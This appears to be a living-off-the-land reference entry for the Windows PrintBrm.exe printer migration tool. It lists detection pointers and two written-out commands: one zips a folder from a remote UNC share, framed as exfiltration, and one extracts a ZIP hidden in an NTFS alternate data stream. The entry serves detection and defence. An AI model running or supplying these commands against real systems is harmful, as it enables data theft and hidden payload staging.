





/PrintBrm.exe

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Printer Migration Command-Line Tool

Paths:
C:\Windows\System32\spool\tools\PrintBrm.exe

Resources:

- <https://twitter.com/elliotkillick/status/1404117015447670800>

Acknowledgements:

- Elliot Killick ([@elliotkillick](#))

Detections:

- Sigma: [proc_creation_win_lolbin_printbrm.yml](#)
- IOC: PrintBrm.exe should not be run on a normal workstation

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Create a ZIP file from a folder in a remote drive

```
PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip
```

Use case:	Exfiltrate the contents of a remote folder on a UNC share into a zip file
Privileges required:	User
Operating systems:	Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1105: Ingress Tool Transfer
Tags:	Type: Compression

Alternate data streams

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder

```
PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder
```

Use case:	Decompress and extract a ZIP file stored on an alternate data stream to a new folder
Privileges required:	User
Operating systems:	Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1564.004: NTFS File Attributes
Tags:	Type: Compression